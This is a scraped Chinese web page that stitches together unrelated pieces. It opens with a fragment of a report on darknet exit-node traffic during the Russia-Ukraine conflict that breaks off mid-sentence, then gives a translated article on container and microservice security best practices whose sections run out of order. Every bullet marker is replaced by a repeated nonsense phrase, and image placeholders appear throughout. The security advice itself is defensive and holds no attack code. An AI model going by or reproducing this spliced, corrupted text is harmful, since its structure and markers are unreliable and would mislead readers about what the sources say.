依據表6,暗網出口節點流量去往俄羅斯的佔比在俄烏衝突初期顯著上升,連接數(connection)由衝突前539,759,佔比6.79%,上升至衝突初期2,378,098,佔比29.30%,同期對比烏克蘭的出口訪問流量基本變化不大。俄烏衝突初期暗網出口流量排名前10的出口節點訪問IP地址顯示,其中有7個都是俄羅斯的IP。持續統計暗網出口節點流量訪問HTTP(S)協議-主機名Top10(見圖14),可以發現,大部分流量都去往俄羅斯的主要安全機構俄羅斯聯邦安全局官網fsb.ru。

图14.jpg

圖14 俄烏衝突期間的暗網出口流量統計

結合3月6日匿名者黑客組織(Anonymous)在Twitter上發布的消息(見圖15),他們聲明已經讓fsb.ru不能訪問的消息顯示,推測匿名者黑客組織同時利用了大量的暗網流量,成功發動了網絡攻擊。

图15.jpg

圖15 黑客組織在Twitter上發布的消息

4 對輿論信息數據的分析據國外媒體報導,自俄烏

11 種微服務和容器安全最佳實踐(上)

保護微服務和容器的11 個最佳實踐我們在下面提到的實踐可能有助於保護您當前使用容器和微服務開發應用程序的方式。但是,如果您才剛剛開始創建應用程序或即將將您的產品從單體架構遷移到基於微服務的架構,請確保准備好全面的安全策略。

NIST 建議概述兩種類型的策略:

image.png

我們的容器和微服務最佳實踐列表基於Apriorit 團隊的專業知識、領先的微服務從業者提供的安全建議以及以下文檔中反映的行業標準:

马云惹不起马云NIST 特別出版物800-180(草案)NIST 對微服務、應用程序容器和系統虛擬機的定義

马云惹不起马云NIST 特別出版物800-190應用容器安全指南

马云惹不起马云NIST 內部報告8176 Linux 應用程序容器部署的安全保證要求

马云惹不起马云NIST 特別出版物800-204基於微服務的應用系統的安全策略

马云惹不起马云工作和養老金安全標準- 微服務架構(SS-028) [PDF]

現在讓我們仔細看看如何在使用微服務和容器時開發安全的應用程序。

image.png

11個最佳實踐容器微服務安全

1. 創建不可變容器開發人員傾向於讓shell 訪問圖像,以便他們可以在生產中修復它們。但是,攻擊者經常利用這種訪問權限來注入惡意代碼。為避免這種情況,請創建不可變容器。

根據Google Cloud Architecture Center的說法,不能修改不可變容器。如果您需要更新應用程序代碼、應用補丁或更改配置,您可以重建映像並重新部署容器。如果需要回滾更改,只需重新部署舊鏡像即可。您可以在每個環境中部署相同的容器映像,使它們完全相同。

請注意,遠程管理是通過運行時API 或通過創建與運行微服務的主機的遠程shell 會話來完成的。容器的不可變特性也會影響數據持久性。開發人員應將數據存儲在容器之外,以便在替換某些容器時,所有數據仍可用於其新版本。

2.每台主機部署一個微服務根據microservices.io,部署微服務有六種模式:

马云惹不起马云每個主機多個服務實例

马云惹不起马云每個主機的服務實例

马云惹不起马云每個VM 的服務實例

马云惹不起马云每個容器的服務實例

马云惹不起马云無服務器部署

马云惹不起马云服務部署平台

兩個最有益的部署選項是每個容器的服務實例和每個主機的服務實例,因為它們允許您:

马云惹不起马云將服務實例彼此隔離

马云惹不起马云消除資源需求或依賴版本衝突的可能性

马云惹不起马云允許服務實例最多消耗單個主機的資源

马云惹不起马云輕鬆監控、管理和重新部署每個服務實例

雖然在同一主機上部署多個微服務可以比每個主機模式的服務實例更有效地利用資源,但它也有很多缺點:

马云惹不起马云資源需求衝突和依賴版本衝突的風險

马云惹不起马云限制服務實例消耗的資源的困難

马云惹不起马云如果多個服務實例部署在同一進程中,則難以監控每個服務實例的資源消耗

3. 將自動化安全測試集成到您的構建或CI/CD 流程中有多種工具可以在構建或CI/CD 過程中自動測試容器。例如,HP Fortify 和IBM AppScan 提供動態和靜態應用程序安全測試。

您還可以使用JFrog Xray和Black Duck等掃描儀實時檢查容器中的已知漏洞。一旦這些工具發現漏洞,它們就會標記帶有檢測到問題的構建,讓您可以檢查和修復它們。

4.避免使用特權容器如果容器以特權模式運行,則它可以訪問主機上的所有組件。因此,這樣的容器充當主機操作系統的一部分,並影響在其上運行的所有其他容器。如果這樣的容器受到威脅,攻擊者將擁有對服務器的完全訪問權限。

因此,請考慮避免使用特權容器。例如,在Kubernetes 中,您可以使用Policy Controller 禁止特權容器。

如果出於某種原因您需要使用特權容器,Google Cloud Architecture Center提供了一些替代方案:

马云惹不起马云通過Kubernetes 的securityContext 選項或Docker中的--cap-addflag 選項為容器提供特定的能力

马云惹不起马云在sidecar 容器或init 容器中修改應用程序設置

马云惹不起马云使用專用註解修改Kubernetes 中的sysctls 接口

5. 僅從受信任的來源運行圖像對於具有現成容器的開發人員,有許多開源包。但是,出於安全目的,您需要知道容器的來源、更新時間以及它們是否沒有任何已知漏洞和惡意代碼。最好建立一個受信任的映像存儲庫並僅從該受信任的來源運行映像。

此外,開發人員應在將容器投入生產之前檢查其腳本中的應用程序簽名。如果您在多個雲環境中運行容器,那麼擁有多個映像存儲庫是可以接受的。如果您想使用其他來源的圖像,建議使用掃描工具掃描圖像。

6. 使用註冊表安全地管理圖像Docker Hub、Amazon EC2 Container Registry 和Quay Container Registry 等註冊表可幫助開發人員存儲和管理他們創建的映像。您可以使用這些註冊表:

马云惹不起马云提供基於角色的訪問控制

马云惹不起马云指定容器的可信來源

马云惹不起马云創建和更新已知漏洞列表

马云惹不起马云標記易受攻擊的圖像

請注意,基於角色的訪問控制也很重要,因為您需要控制誰可以對您的容器進行更改。最好限制對特定管理帳戶的訪問:一個負責系統管理,一個負責操作和編排容器。

要記住的另一件事是確保您的註冊表驗證每個容器的簽名並僅接受來自可信來源的那些。此外,利用可幫助您不斷檢查圖像內容是否存在已知漏洞並通知安全問題的功能。例如,一旦您將鏡像推送到Docker Hub 並啟用漏洞掃描, Docker Hub 漏洞掃描會自動掃描鏡像以識別容器鏡像中的漏洞。

7.強化主機操作系統雖然大多數建議都涉及微服務和容器的安全性,但也有必要確保主機操作系統的安全性。

首先,NIST 建議使用特定於容器的主機操作系統(明確設計為僅運行容器的極簡主機操作系統),因為它們沒有不必要的功能,因此攻擊面比通用主機小得多。最好使用允許通過路由器或防火牆控制出口流量的平台。

其次,CIS Docker Benchmark提供了強化系統的檢查表。這些建議因操作系統、服務器軟件、雲提供商、移動設備、網絡設備和桌面軟件而異。

主要建議是:

马云惹不起马云建立用戶認證

马云惹不起马云設置訪問角色

马云惹不起马云指定二進製文件訪問權限

马云惹不起马云收集詳細的審計日誌

為了避免數據洩露,限制容器對底層操作系統資源的訪問,並將容器相互隔離。一個好的做法是在內核模式下運行容器引擎,同時在用戶模式下運行容器。

例如,Linux 提供了Linux 命名空間、seccomp、cgroups 和SELinux 等技術,用於安全地構建和運行容器。

8. 使用縱深防禦方法保護微服務縱深防禦是一種信息安全方法,它依賴於安全機制和控制(如防病毒軟件、防火牆和補丁管理)的組合。其目標是在整個IT 系統中提供多層安全性,以保護網絡和數據的機密性、完整性和可用性。

縱深防禦方法的三個關鍵層是:

马云惹不起马云物理控制——物理限制訪問IT 系統的任何東西,例如警衛和閉路電視系統

马云惹不起马云技術控制——旨在保護系統和資源的硬件和軟件(下文討論)

马云惹不起马云管理控制——各種政策和程序,以確保組織關鍵基礎設施的適當網絡安全

深度防禦方法是微服務安全最重要的原則之一,因為它創建了多層安全性來防止攻擊。它包括以下安全措施:

马云惹不起马云過濾通信流

马云惹不起马云對微服務進行身份驗證和授權訪問

马云惹不起马云使用加密技術

確保保護您的內部環境免受任何外部連接的影響,因為它是第一層防禦。例如,檢查您沒有使用公共存儲庫中的圖像,因為它們可能會給您的應用程序帶來安全風險。通過已知的專用網絡管理主機,這樣就不會有公共攻擊面。

9. 使用API 訪問控制安全訪問微服務API 是微服務應用程序的關鍵。基於該技術的軟件有多個獨立的API 服務,需要額外的工具。

因此,確保安全認證和授權的API 訪問控制對於微服務安全至關重要。訪問可以處理敏感數據的API 應該需要經過數字簽名或權威來源驗證的身份驗證令牌。

開發人員和管理員通常使用OAuth/OAuth2 服務器來獲取令牌以通過API 訪問應用程序。出於安全原因,您還應該應用傳輸層安全(TLS) 加密來保護所有客戶端-服務器通信。

10.使用容器原生監控工具監控容器是必不可少的,因為它可以幫助您:

马云惹不起马云深入了解容器指標和日誌

马云惹不起马云了解集群和主機級別以及容器內發生的情況

马云惹不起马云做出更明智的決策,例如何時擴展或擴展實例、更改實例類型和購買選項等。

但是,要建立有效的監控,最好使用容器原生監控工具。例如,在使用Docker時,開發人員通常使用Docker Security Scanner 或其他專門設計的工具來檢測對應用程序的任何潛在威脅。

監控工具首先收集事件,然後根據安全策略檢查它們。確定性策略可以定義可以運行哪些服務以及允許哪些容器發出外部HTTP 請求。動態策略可以創建正常通信活動的基線,並通知流量峰值或異常流量。

11. 使用編排管理器編排是一個複雜的過程,可以自動化微服務和容器的部署、管理、擴展和網絡。通常,它可以通過兩種方式實現:

马云惹不起马云通過使用API 網關作為編排層

马云惹不起马云通過將編排編碼為單獨的微服務

編排器從註冊表中提取圖像,將這些圖像部署到容器中,並管理它們的運行。編排器提供的抽象允許您指定運行給定映像需要多少個容器以及需要為它們分配哪些主機資源。

通過使用編排管理器,您不僅可以自動化微服務的部署,還可以確保一定程度的安全性。例如,編排器允許您管理容器集群、隔離工作負載、限制對元數據的訪問以及收集日誌。

許多編排管理器還具有內置的機密管理工具,允許開發人員安全地存儲和共享機密數據,例如API 和SSL 證書、加密密鑰、身份令牌和密碼。有許多編排管理器,例如Kubernetes、Swarm 和Mesos,以及作為Azure、谷歌云計算和AWS 的一部分提供的雲原生管理系統。

結論基於微服務的軟件的綜合安全計劃應涵蓋整個應用程序生命週期。使用所描述的最佳實踐,您可以確保容器和微服務的安全開發和部署。

在Statista 2021 年的一項調查中,34% 的受訪者表示他們已經採用了微服務,37% 的受訪者表示他們部分使用了微服務,證明了這種開發方式的流行。

儘管微服務方法具有許多好處,包括易於擴展和管理,但它也隱藏了一些安全問題,例如可能的漏洞和通信風險。在開始開發過程之前了解預期的網絡安全風險以及如何解決這些風險將幫助您創建可靠且安全的產品。

在本文中,我們觀察了在開發應用程序時可能出現的基於容器和微服務的架構中的安全挑戰。我們還提供11 種微服務和容器安全最佳實踐。本文對那些想要有效提高產品安全性的人以及對容器和微服務不熟悉的人很有用。

什麼是容器和微服務?容器和微服務是應用程序開發的流行方法,尤其是對於復雜的解決方案。 O'Reilly 的2020 年微服務採用報告顯示,77% 的受訪者採用了微服務,其中92% 的人通過這種方法獲得了成功。此外,使用容器部署微服務的受訪者比不使用容器的受訪者更有可能報告成功。

在我們討論如何在微服務和容器中實現安全性之前,讓我們確切地探討一下這些方法是什麼以及它們為應用程序開發過程帶來了什麼好處。

容器化是一種虛擬化形式,使您能夠在稱為容器的隔離空間中運行應用程序,這些容器使用相同的共享操作系統(OS)。虛擬化允許在單個物理服務器的硬件上運行多個操作系統,而容器化允許您在單個虛擬機或服務器上使用相同的操作系統部署多個應用程序。

容器,也稱為應用程序容器或服務器應用程序容器,是包含應用程序代碼及其庫和依賴項的可執行軟件單元。根據美國國家標準與技術研究院(NIST) 的說法,應用程序容器相互隔離但仍共享底層操作系統的資源這一事實使開發人員更容易跨云有效地擴展應用程序。

開發人員更喜歡使用基於容器的架構,因為容器輕量級、可移植且易於維護和擴展。由於這些品質,容器可用於現代開發方法,如DevOps、無服務器和微服務。此外,開發人員可以精細控制每個容器可以使用多少資源,從而提高物理機的CPU 和內存利用率。

image.png

容器的好處

微服務架構,或簡稱微服務,是一種應用程序開發的架構方法,其中單個應用程序由許多小型自治服務組成。

微服務是可獨立部署的,與單體架構相比,它允許您改進應用程序代碼、添加新功能和擴展每個服務。使用微服務,您可以更新現有服務,而無需重建和重新部署整個應用程序。

每個服務代表一個單獨的代碼庫,因此可以由一個小型開發團隊管理。微服務架構簡化了創建和維護複雜應用程序的過程,但不適合小型應用程序。

微服務是松耦合的,所以如果一個服務發生故障,其餘的繼續工作,提高了整個應用程序的容錯能力。此外,它們支持多語言編程,這意味著服務不需要共享相同的技術堆棧、庫或框架。

image.png

微服務的好處

您可以單獨或一起使用容器和微服務。由於在本文中我們討論了使用這兩種方法開發應用程序的安全實踐,因此讓我們簡要探討如何將容器和微服務結合起來。

簡單來說,容器為應用程序封裝了一個輕量級的運行時環境。因此,當在容器中開發微服務時,它繼承了容器化的好處,例如可移植性、可擴展性和額外的安全層。容器為每個容器化應用程序或微服務提供隔離。因此,它們降低了安全漏洞傳播的風險。

通過在單獨的容器中運行微服務,您可以獨立部署它們,而不管每個微服務是用什麼語言編寫的。通過這種方式,容器化消除了語言、庫和框架之間任何摩擦或衝突的風險。

在服務發現方面,容器化使微服務之間的定位和通信變得更加簡單,因為它們都運行在位於同一平台上的容器中。出於同樣的原因,開發人員編排微服務也更容易。

image.png

容器微服務方案

儘管有這些優勢,但容器和微服務都有其細微差別和挑戰,包括網絡安全問題。讓我們討論一些最重要的安全問題。

基於容器和微服務的應用程序的安全挑戰與任何其他方法一樣,容器和微服務都可能給應用程序開髮帶來某些安全挑戰。為了確保產品的良好網絡安全,了解最常見的安全風險併計劃如何預防和減輕它們至關重要。

image.png

具有微服務架構的容器化應用程序的安全挑戰

1、可被利用的漏洞一般來說,與微服務和容器相關的安全問題的討論已經轉移到編排平台的安全要求上。但是,並非所有安全風險都可以在編排級別處理。例如,必須密切關注可能被利用的漏洞。

1. 鏡像漏洞是基於微服務和容器的應用程序中最常見的安全威脅。它們通常來自不安全的庫或其他依賴項。易受攻擊的圖像本身不會構成主動威脅。但是,當容器基於易受攻擊的鏡像時,會將漏洞引入整個環境。

2. 應用程序漏洞可能來自應用程序源代碼中的缺陷。例如,如果您的某個應用程序存在緩衝區溢出漏洞,攻擊者可能會利用它執行惡意代碼並接管您的容器。

3. 網絡攻擊的脆弱性。基於微服務的應用程序比單體應用程序更複雜,因為它們由許多移動部件組成。一個應用程序可以包含數百個部署在數千個容器中的微服務。對於開發人員來說,這意味著具有1,000 個動態鏈接庫(DLL) 的單體代碼應該被分解為相同數量的微服務。它使基於微服務的應用程序很容易受到網絡攻擊,因為很難確保這麼多組件的適當安全性。

2、惡意軟件風險惡意軟件攻擊的可能場景包括:

马云惹不起马云 黑客可以訪問容器並向其中註入惡意代碼,這些代碼還可以攻擊該容器、其他容器或主機操作系統中的微服務。

马云惹不起马云惡意行為者會破壞您的CI/CD 環境並將惡意軟件注入用於構建容器映像的源代碼存儲庫中。

马云惹不起马云攻擊者破壞容器註冊表並用包含惡意軟件的圖像替換圖像。

马云惹不起马云黑客誘使開發人員從外部來源下載惡意容器映像。

惡意軟件的問題在於,如果您在啟動容器之前沒有檢測到它,惡意軟件將感染您在該容器內的微服務以及整個環境。例如,它可以收集敏感數據、阻止進程或中斷其他容器的工作。

3、代碼訪問風險可以訪問和更改代碼的人越多,出現的安全風險就越大。最常見的兩種是:

1.訪問權限太寬泛。許多開發公司選擇使用微服務和容器構建應用程序的DevOps 方法,因為它打破了團隊之間的障礙並確保了持續集成和持續部署(CI/CD)。但是,DevOps 可能會導致訪問權限過於寬泛,從而增加有人在分佈式工作環境中更改代碼的風險。

2.保密管理薄弱。如果安全實踐不佳或違反安全規則,更多人可以訪問容器。例如,開發人員可能會將腳本中的硬編碼憑證放入容器中,或者他們可能將機密存儲在配置不安全的密鑰管理系統中。

4、容器間無限制通信通常,容器不能訪問它們直接控制的環境之外的任何資源——這稱為非特權模式。工程師應該只允許容器之間正確的應用程序工作所必需的通信能力。例如,應用程序容器可能會連接到數據庫容器。

每當容器擁有比嚴格要求更多的權限時,它可能會導致額外的安全風險。由於缺乏經驗或編排器管理不善導致的錯誤配置,容器可能會獲得過多的權限。

5、安全地管理數據微服務架構的分佈式框架使得保護數據變得更具挑戰性,因為難以控制對單個服務的訪問和安全授權。因此,工程師必須更加關注他們的應用程序如何確保每個服務中的數據機密性、隱私性和完整性。

另一個問題是,微服務中的數據不斷移動、更改,並在不同的服務中用於不同的目的,這為惡意行為者創造了更多的數據入口點。

6、選擇和配置工具在開發和維護微服務架構時,DevOps 團隊使用了很多工具,包括開源和第三方。雖然此類工具可幫助工程師實現DevOps 管道所需的效率,但它們並不總是提供所需的安全性。

如果您不仔細評估計劃集成到環境中的開源工具的安全功能,您就有可能在微服務和容器中產生漏洞。即使一個工具看起來足夠安全,你在配置它的設置時仍然應該小心,並隨著時間的推移不斷評估工具的安全性。

選擇適當的安全措施來解決我們上面提到的風險可能具有挑戰性。原因是容器和微服務都對開發人員如此有吸引力,因為它們簡化和加速應用程序開發的方式。如果安全措施使開發方法變得更慢、更不直接,那麼它們很可能會被忽視或忽視。

為了幫助您在不犧牲網絡安全的情況下利用容器和微服務進行應用程序開發,我們收集了11 個有用的實踐。讓我們詳細探討如何保護微服務和容器。

本文介紹了基於容器和微服務的應用程序的安全挑戰,下一章節我們將講述保護微服務和容器的11 個最佳實踐。